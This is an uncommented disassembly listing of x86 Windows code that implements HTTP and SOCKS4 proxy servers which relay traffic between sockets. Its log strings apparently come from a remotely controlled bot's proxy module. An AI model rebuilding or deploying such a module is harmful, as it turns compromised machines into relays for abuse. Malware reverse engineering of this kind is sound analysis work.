lea ecx, [esp+40h+var_24]
call sub_4017E4
mov edx, [ebp+0BBh]
push eax
push edx
call near ptr 71AB428Ah
nop
test eax, eax
jz loc_429492
cmp eax, ebx
jz loc_429492
mov ebx, dword_50FC90
mov eax, [ebp+0BBh]
mov edx, [ebp+0BFh]
mov [esp+48h+arg_248], eax
mov [esp+48h+arg_244], 1
xor eax, eax
lea ecx, [esp+48h+arg_248]
loc_429040: ; CODE XREF: sub_4282C0+D8Bj
cmp [ecx], edx
jz short loc_42904D
inc eax
add ecx, 4
cmp eax, 1
jb short loc_429040
loc_42904D: ; CODE XREF: sub_4282C0+D82j
cmp eax, 1
jnz short loc_429064
mov [esp+48h+arg_24C], edx
mov [esp+48h+arg_244], 2
loc_429064: ; CODE XREF: sub_4282C0+D90j
mov ecx, 1000h
xor eax, eax
lea edi, [esp+48h+arg_44C]
push eax
rep stosd
push eax
lea ecx, [esp+50h+arg_244]
push eax
push ecx
push eax
nop
call near ptr 71AB2DC0h
mov eax, [ebp+0BBh]
lea edx, [esp+5Ch+arg_230]
push edx
push eax
call sub_436F60
; ---------------------------------------------------------------------------
dw 0C085h
dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
dd 0A024848Dh, 50000004h, 0B1B4E851h, 83907168h, 840FFFF8h
dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
dd 0DE6Ch, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h
dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
dd 6A000000h, 848D5000h, 4A024h, 90515000h, 68B159E8h
dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah
dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 36EE890h, 333D7169h
dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
dd 0FC8C3D8Bh, 6A0050h, 9C248C8Dh, 56000004h, 0D7FF5251h
dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 31AE890h, 333D7169h
dd 75000027h, 90016A0Dh, 427132E8h, 0FE43E902h, 858BFFFFh
dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4291EF: ; CODE XREF: sub_4282C0+CA6j
or esi, 0FFFFFFFFh
loc_4291F2: ; CODE XREF: sub_4282C0+CC7j
mov al, [esp+0B8h+var_A7]
test al, al
jnz short loc_429212
mov edx, [ebp+0BFh]
push edx
nop
call near ptr 71AB9639h
mov [ebp+0BFh], esi
mov [esp+0BCh+var_AA], 1
loc_429212: ; CODE XREF: sub_4282C0+F38j
lea ecx, [esp+0BCh+var_34]
mov byte ptr [esp+0BCh+arg_53E0], 0Dh
call sub_401226
lea ecx, [esp+0BCh+var_5C]
mov byte ptr [esp+0BCh+arg_53E0], 0Ch
call sub_401226
lea ecx, [esp+0BCh+var_74]
mov byte ptr [esp+0BCh+arg_53E0], 2
call sub_401226
lea ecx, [esp+0BCh+var_8C]
mov byte ptr [esp+0BCh+arg_53E0], 1
call sub_401226
lea ecx, [esp+0BCh+var_A8]
mov byte ptr [esp+0BCh+arg_53E0], 0
call sub_401226
lea ecx, [esp+0BCh+var_4]
mov [esp+0BCh+arg_53E0], esi
call sub_4014B0
or esi, 0FFFFFFFFh
loc_429280: ; CODE XREF: sub_4282C0+EBj
mov al, [esp+0BCh+var_AA]
test al, al
jz loc_4282F8
loc_42928C: ; CODE XREF: sub_4282C0+1074j
; sub_4282C0+11CDj
mov al, [ebp+0BAh]
test al, al
jz short loc_4292A9
mov eax, [ebp+0BBh]
push eax
nop
call near ptr 71AB9639h
mov [ebp+0BBh], esi
loc_4292A9: ; CODE XREF: sub_4282C0+FD4j
mov al, [esp+11h]
test al, al
jz short loc_4292C4
mov ecx, [ebp+0BFh]
push ecx
call near ptr 71AB9639h
nop
mov [ebp+0BFh], esi
loc_4292C4: ; CODE XREF: sub_4282C0+FEFj
; sub_4282C0+1255j
mov ecx, [esp+0C4h+arg_53D0]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 5494h
retn
; ---------------------------------------------------------------------------
loc_4292DD: ; CODE XREF: sub_4282C0+40Aj
lea ecx, [esp+1Ch+arg_40]
mov byte ptr [esp+1Ch+arg_5480], 0Ch
call sub_401226
loc_4292EE: ; CODE XREF: sub_4282C0+3D7j
lea ecx, [esp+1Ch+arg_28]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
loc_4292FF: ; CODE XREF: sub_4282C0+191j
; sub_4282C0+1AAj ...
lea ecx, [esp+1Ch+arg_10]
mov byte ptr [esp+1Ch+arg_5480], 1
call sub_401226
loc_429310: ; CODE XREF: sub_4282C0+85j
lea ecx, [esp+1Ch+var_8]
mov byte ptr [esp+1Ch+arg_5480], 0
call sub_401226
lea ecx, [esp+1Ch+arg_98]
mov [esp+1Ch+arg_5480], esi
call sub_4014B0
jmp loc_42928C
; ---------------------------------------------------------------------------
loc_429339: ; CODE XREF: sub_4282C0+503j
mov eax, [ebp+0BBh]
push eax
nop
call near ptr 71AB9639h
jmp loc_4294AA
; ---------------------------------------------------------------------------
loc_42934B: ; CODE XREF: sub_4282C0+644j
lea ecx, [esp+2Ch+arg_9D]
call sub_4017E4
push eax
lea ecx, [esp+30h+var_18]
push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push ecx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+2Ch+var_18]
push 0
call sub_4013D9
push eax
lea ecx, [esp+34h+var_18]
call sub_4017E4
mov edx, [ebp+0BBh]
push eax
push edx
nop
call near ptr 71AB428Ah
mov eax, [ebp+0BBh]
mov esi, dword_50FC88
push eax
call esi ; closesocket
mov ecx, [ebp+0BFh]
push ecx
jmp loc_4294A8
; ---------------------------------------------------------------------------
loc_4293A8: ; CODE XREF: sub_4282C0+660j
mov edx, [esp+38h+arg_D0]
lea ecx, [esp+38h+arg_91]
push edx
call sub_4017E4
push eax
lea eax, [esp+40h+var_24]
push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+38h+var_24]
push 0
call sub_4013D9
push eax
lea ecx, [esp+40h+var_24]
call sub_4017E4
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
loc_4293F2: ; CODE XREF: sub_4282C0+711j
; sub_4282C0+719j
mov edx, [ebp+0BBh]
mov esi, dword_50FC88
push edx
call esi ; closesocket
mov eax, [ebp+0BFh]
push eax
jmp loc_4294A8
; ---------------------------------------------------------------------------
loc_42940D: ; CODE XREF: sub_4282C0+5EEj
mov ecx, [ebp+0BBh]
push ecx
nop
call near ptr 71AB9639h
jmp loc_4294AA
; ---------------------------------------------------------------------------
loc_42941F: ; CODE XREF: sub_4282C0+73Fj
lea ecx, [esp+48h+arg_3C]
mov byte ptr [esp+48h+arg_5454], 0Dh
call sub_401226
lea ecx, [esp+48h+arg_14]
mov byte ptr [esp+48h+arg_5454], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+48h+arg_5454], 2
call sub_401226
lea ecx, [esp+48h+var_18]
mov byte ptr [esp+48h+arg_5454], 1
call sub_401226
lea ecx, [esp+48h+var_34]
mov byte ptr [esp+48h+arg_5454], 0
call sub_401226
lea ecx, [esp+48h+arg_6C]
mov [esp+48h+arg_5454], ebx
call sub_4014B0
or esi, 0FFFFFFFFh
jmp loc_42928C
; ---------------------------------------------------------------------------
loc_429492: ; CODE XREF: sub_4282C0+D45j
; sub_4282C0+D4Dj
mov ecx, [ebp+0BBh]
mov esi, dword_50FC88
push ecx
call esi ; closesocket
mov edx, [ebp+0BFh]
push edx
loc_4294A8: ; CODE XREF: sub_4282C0+10E3j
; sub_4282C0+1148j
call esi ; closesocket
loc_4294AA: ; CODE XREF: sub_4282C0+1086j
; sub_4282C0+115Aj
lea ecx, [esp+50h+arg_34]
mov byte ptr [esp+50h+arg_544C], 0Dh
call sub_401226
lea ecx, [esp+50h+arg_C]
mov byte ptr [esp+50h+arg_544C], 0Ch
call sub_401226
lea ecx, [esp+50h+var_8]
mov byte ptr [esp+50h+arg_544C], 2
call sub_401226
lea ecx, [esp+50h+var_20]
mov byte ptr [esp+50h+arg_544C], 1
call sub_401226
lea ecx, [esp+50h+var_3C]
mov byte ptr [esp+50h+arg_544C], 0
call sub_401226
lea ecx, [esp+50h+arg_64]
mov [esp+50h+arg_544C], ebx
call sub_4014B0
jmp loc_4292C4
sub_4282C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 4A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4299C0 proc near ; CODE XREF: sub_4018DEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4299C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset aHttp_0 ; "HTTP"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E15C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4299C0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429A30: ; CODE XREF: ___:loc_40112Cj
; ___:0040128Fj
push esi
mov esi, ecx
call sub_402108
test byte ptr [esp+8], 1
jz short loc_429A48
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_429A48: ; CODE XREF: ___:00429A3Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429A60 proc near ; CODE XREF: sub_402108j
push esi
mov esi, ecx
mov eax, [esi+9Eh]
mov dword ptr [esi], offset off_43E15C
cmp eax, 0FFFFFFFFh
jz short loc_429A7B
push eax
nop
call near ptr 71AB9639h
loc_429A7B: ; CODE XREF: sub_429A60+12j
mov ecx, esi
call sub_40179E
pop esi
retn
sub_429A60 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429AA0 proc near ; CODE XREF: sub_4010E1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429AA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push edi
mov edi, ecx
mov dword ptr [edi+9Eh], 0FFFFFFFFh
loc_429AC3: ; CODE XREF: sub_429AA0+48j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_429AEA
mov ecx, [edi+3Bh]
push ecx
call sub_40197E
add esp, 4
cmp eax, 0FFFFFFFFh
mov [edi+9Eh], eax
jz short loc_429AC3
loc_429AEA: ; CODE XREF: sub_429AA0+31j
mov edx, [edi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_429BBC
push ebp
push esi
loc_429B00: ; CODE XREF: sub_429AA0+114j
mov eax, [edi+9Eh]
push eax
call sub_4012DF
mov ebp, eax
add esp, 4
cmp ebp, 0FFFFFFFFh
jz loc_429B9B
test ebp, ebp
jz short loc_429B9B
push 0C3h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+1Ch+var_10], eax
test eax, eax
mov [esp+1Ch+var_4], 0
jz short loc_429B46
mov ecx, eax
call sub_401884
mov esi, eax
jmp short loc_429B48
; ---------------------------------------------------------------------------
loc_429B46: ; CODE XREF: sub_429AA0+99j
xor esi, esi
loc_429B48: ; CODE XREF: sub_429AA0+A4j
mov ecx, [edi+99h]
mov [esi+9Dh], edi
mov [esi+99h], ecx
mov edx, [edi+3Bh]
lea eax, [edi+26h]
lea ecx, [esi+26h]
push eax
mov [esp+20h+var_4], 0FFFFFFFFh
mov [esi+3Bh], edx
mov [esi+0BBh], ebp
call sub_401FBE
mov cl, [edi+97h]
mov [esi+97h], cl
mov dl, [edi+98h]
mov ecx, esi
mov [esi+98h], dl
call sub_4013D4
jmp short loc_429BA6
; ---------------------------------------------------------------------------
loc_429B9B: ; CODE XREF: sub_429AA0+74j
; sub_429AA0+7Cj
push 0FAh
call near ptr 2850303h
nop
loc_429BA6: ; CODE XREF: sub_429AA0+F9j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jnz loc_429B00
pop esi
pop ebp
loc_429BBC: ; CODE XREF: sub_429AA0+58j
mov edi, [edi+9Eh]
cmp edi, 0FFFFFFFFh
jz short loc_429BCE
push edi
nop
call near ptr 71AB9639h
loc_429BCE: ; CODE XREF: sub_429AA0+125j
mov ecx, [esp+14h+var_C]
pop edi
mov large fs:0, ecx
add esp, 10h
retn
sub_429AA0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429C30 proc near ; CODE XREF: sub_40137Aj
push ebx
push esi
mov esi, ecx
push edi
mov al, [esi+9Dh]
lea edi, [esi+11h]
test al, al
mov eax, [esi+3Bh]
lea ebx, [esi+26h]
push eax
mov ecx, edi
jz short loc_429C58
call sub_4017E4
push eax
push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL."
jmp short loc_429C63
; ---------------------------------------------------------------------------
loc_429C58: ; CODE XREF: sub_429C30+19j
call sub_4017E4
push eax
push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d."
loc_429C63: ; CODE XREF: sub_429C30+26j
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
mov ecx, esi
call sub_4010E1
mov eax, [esi+3Bh]
mov ecx, edi
push eax
call sub_4017E4
push eax
push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d."
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
pop edi
pop esi
pop ebx
retn
sub_429C30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429D00 proc near ; CODE XREF: sub_40211Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429D00
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E16C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_429D00 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429D70: ; CODE XREF: ___:00401870j
; ___:loc_401B04j
push esi
mov esi, ecx
call sub_401F87
test byte ptr [esp+8], 1
jz short loc_429D88
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_429D88: ; CODE XREF: ___:00429D7Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_429DA0 proc near ; CODE XREF: sub_401F87j
jmp sub_40179E
sub_429DA0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429DC0 proc near ; CODE XREF: sub_4010AFj
var_81D = byte ptr -81Dh
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = byte ptr -808h
var_807 = byte ptr -807h
var_806 = word ptr -806h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
var_400 = byte ptr -400h
sub esp, 820h
lea eax, [esp+820h+var_81D]
push ebx
push ebp
push esi
mov esi, dword_50FC90
mov ebp, ecx
push edi
push 0
push 1
mov ecx, [ebp+0A1h]
push eax
push ecx
call esi ; recv
cmp eax, 1
jge short loc_429E01
mov edx, [ebp+0A1h]
push edx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_429E01: ; CODE XREF: sub_429DC0+27j
cmp [esp+830h+var_81D], 4
jnz loc_429FEC
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_807]
push 406h
push eax
push ecx
call esi ; recv
cmp eax, 1
jge short loc_429E3E
mov edx, [ebp+0A1h]
push edx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_429E3E: ; CODE XREF: sub_429DC0+64j
cmp [esp+830h+var_807], 1
jnz loc_429FEC
mov cx, [esp+830h+var_806]
mov edx, [esp+830h+var_804]
xor eax, eax
push 6
mov [esp+834h+var_818], eax
push 1
mov [esp+838h+var_814], eax
push 2
mov [esp+83Ch+var_810], eax
mov word ptr [esp+83Ch+var_818], 2
mov [esp+83Ch+var_80C], eax
mov word ptr [esp+83Ch+var_818+2], cx
mov [esp+83Ch+var_814], edx
nop
call near ptr 71AB3B91h
mov ebx, eax
lea eax, [esp+830h+var_818]
push 10h
push eax
push ebx
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
mov [esp+830h+var_808], 0
jnz short loc_429ED9
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Bh
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
nop
call near ptr 71AB428Ah
mov eax, [ebp+0A1h]
push eax
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_429ED9: ; CODE XREF: sub_429DC0+D8j
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Ah
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
nop
call near ptr 71AB428Ah
mov ecx, [ebp+0A1h]
mov esi, dword_50FC50
lea eax, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push eax
push 8004667Eh
push ecx
call esi ; ioctlsocket
lea edx, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push edx
push 8004667Eh
push ebx
call esi ; ioctlsocket
loc_429F36: ; CODE XREF: sub_429DC0+1AFj
; sub_429DC0+1FEj ...
mov edi, dword_50FC90
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ebx
call edi ; recv
mov esi, eax
test esi, esi
jz loc_429FDA
jge short loc_429F71
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_429F71
push 0Ah
nop
call near ptr 2850303h
jmp short loc_429F36
; ---------------------------------------------------------------------------
loc_429F71: ; CODE XREF: sub_429DC0+198j
; sub_429DC0+1A5j
mov edx, [ebp+0A1h]
push 0
lea ecx, [esp+834h+var_400]
push esi
push ecx
push edx
call near ptr 71AB428Ah
nop
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ecx
call edi ; recv
mov esi, eax
test esi, esi
jz short loc_429FDA
jge short loc_429FC3
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_429FC3
push 0Ah
nop
call near ptr 2850303h
jmp loc_429F36
; ---------------------------------------------------------------------------
loc_429FC3: ; CODE XREF: sub_429DC0+1E7j
; sub_429DC0+1F4j
push 0
lea edx, [esp+834h+var_400]
push esi
push edx
push ebx
call near ptr 71AB428Ah
nop
jmp loc_429F36
; ---------------------------------------------------------------------------
loc_429FDA: ; CODE XREF: sub_429DC0+192j
; sub_429DC0+1E5j
mov eax, [ebp+0A1h]
mov esi, dword_50FC88
push eax
call esi ; closesocket
push ebx
call esi ; closesocket
loc_429FEC: ; CODE XREF: sub_429DC0+46j
; sub_429DC0+83j
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
sub_429DC0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A090 proc near ; CODE XREF: sub_40216Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42A090
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E17C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42A090 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A100 proc near ; CODE XREF: ___:00401032j sub_4017A8j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401C3A
test [esp+4+arg_0], 1
jz short loc_42A118
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42A118: ; CODE XREF: sub_42A100+Dj
mov eax, esi
pop esi
retn 4
sub_42A100 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42A130 proc near ; CODE XREF: sub_401C3Aj
jmp sub_40179E
sub_42A130 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A150 proc near ; CODE XREF: sub_40188Ej
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42A150
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push esi
mov esi, ecx
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
lea ebx, [esi+26h]
call sub_4017E4
push eax
push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d."
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42A359
mov cx, [esi+3Bh]
xor eax, eax
mov [esp+3Ch+var_2C], eax
push ecx
mov [esp+40h+var_28], eax
mov word ptr [esp+40h+var_2C], 2
mov [esp+40h+var_24], eax
mov [esp+40h+var_20], eax
call near ptr 71AB2B66h
nop
mov word ptr [esp+3Ch+var_2C+2], ax
mov eax, [esi+9Dh]
lea edx, [esp+3Ch+var_2C]
push 10h
push edx
push eax
mov [esp+48h+var_34], 10h
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42A226
mov ecx, [esi+9Dh]
push ecx
nop
call near ptr 71AB9639h
pop esi
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42A226: ; CODE XREF: sub_42A150+B6j
mov edx, [esi+99h]
push ebp
push edi
mov al, [edx+11Ch]
test al, al
jz loc_42A310
loc_42A23C: ; CODE XREF: sub_42A150+1BAj
mov eax, [esi+9Dh]
push 0Ah
push eax
call near ptr 71AB88D3h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_42A260
push 0FAh
call near ptr 2850303h
nop
jmp loc_42A2FC
; ---------------------------------------------------------------------------
loc_42A260: ; CODE XREF: sub_42A150+FEj
mov eax, [esi+9Dh]
lea ecx, [esp+40h+var_30]
lea edx, [esp+40h+var_18]
push ecx
push edx
push eax
nop
call near ptr 71AC1028h
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42A310
xor edi, edi
cmp ebp, edi
jz loc_42A310
push 0A5h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42A2AE
mov ecx, eax
call sub_40211C
mov edi, eax
loc_42A2AE: ; CODE XREF: sub_42A150+153j
mov ecx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], ecx
mov edx, [esi+3Bh]
push ebx
lea ecx, [edi+26h]
mov [esp+48h+var_4], 0FFFFFFFFh
mov [edi+3Bh], edx
mov [edi+0A1h], ebp
call sub_401FBE
mov al, [esi+97h]
mov [edi+97h], al
mov cl, [esi+98h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013D4
loc_42A2FC: ; CODE XREF: sub_42A150+10Bj
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42A23C
loc_42A310: ; CODE XREF: sub_42A150+E6j
; sub_42A150+12Cj ...
mov eax, [esi+9Dh]
pop edi
cmp eax, 0FFFFFFFFh
pop ebp
jz short loc_42A324
push eax
nop
call near ptr 71AB9639h
loc_42A324: ; CODE XREF: sub_42A150+1CBj
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
call sub_4017E4
push eax
push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d."
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
loc_42A359: ; CODE XREF: sub_42A150+69j
mov ecx, [esp+3Ch+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42A150 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A400 proc near ; CODE XREF: sub_40174Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
nop
call near ptr 71AB4FD4h
test eax, eax
jz short loc_42A421
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov ecx, [esp+arg_4]
mov eax, [edx]
mov [ecx], eax
mov al, 1
retn 8
; ---------------------------------------------------------------------------
loc_42A421: ; CODE XREF: sub_42A400+Dj
xor al, al
retn 8
sub_42A400 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A440 proc near ; CODE XREF: sub_4020C2j
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_400 = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 50Ch
push ebx
mov ebx, [esp+510h+arg_4]
push ebp
push esi
push edi
mov [esp+51Ch+var_50C], 0
mov [esp+51Ch+var_508], 0
loc_42A461: ; CODE XREF: sub_42A440+12Cj
mov ebp, [esp+51Ch+arg_0]
mov [esp+51Ch+var_504], 1
mov [esp+51Ch+var_500], ebp
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42A47A: ; CODE XREF: sub_42A440+45j
cmp [ecx], ebx
jz short loc_42A487
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42A47A
loc_42A487: ; CODE XREF: sub_42A440+3Cj
cmp eax, 1
jnz short loc_42A498
mov [esp+51Ch+var_4FC], ebx
mov [esp+51Ch+var_504], 2
loc_42A498: ; CODE XREF: sub_42A440+4Aj
lea eax, [esp+51Ch+var_50C]
lea ecx, [esp+51Ch+var_504]
push eax
push 0
push 0
push ecx
push 2
call near ptr 71AB2DC0h
nop
test eax, eax
jbe short loc_42A523
cmp eax, 0FFFFFFFFh
jz short loc_42A523
lea edx, [esp+51Ch+var_504]
push edx
push ebp
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_42A4CC
mov eax, ebp
mov ebp, ebx
jmp short loc_42A4CE
; ---------------------------------------------------------------------------
loc_42A4CC: ; CODE XREF: sub_42A440+84j
mov eax, ebx
loc_42A4CE: ; CODE XREF: sub_42A440+8Aj
push 0
lea ecx, [esp+520h+var_400]
push 3FFh
push ecx
push eax
call near ptr 71AB615Ah
nop
mov edi, eax
xor esi, esi
cmp edi, 0FFFFFFFFh
mov [esp+edi+51Ch+var_400], 0
jz short loc_42A572
test edi, edi
jz short loc_42A572
jbe short loc_42A51C
loc_42A4FB: ; CODE XREF: sub_42A440+DAj
mov edx, edi
push 0
sub edx, esi
lea eax, [esp+esi+520h+var_400]
push edx
push eax
push ebp
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
jz short loc_42A572
add esi, eax
cmp esi, edi
jb short loc_42A4FB
loc_42A51C: ; CODE XREF: sub_42A440+B9j
mov ebp, [esp+51Ch+arg_0]
loc_42A523: ; CODE XREF: sub_42A440+70j
; sub_42A440+75j
mov [esp+51Ch+var_500], ebp
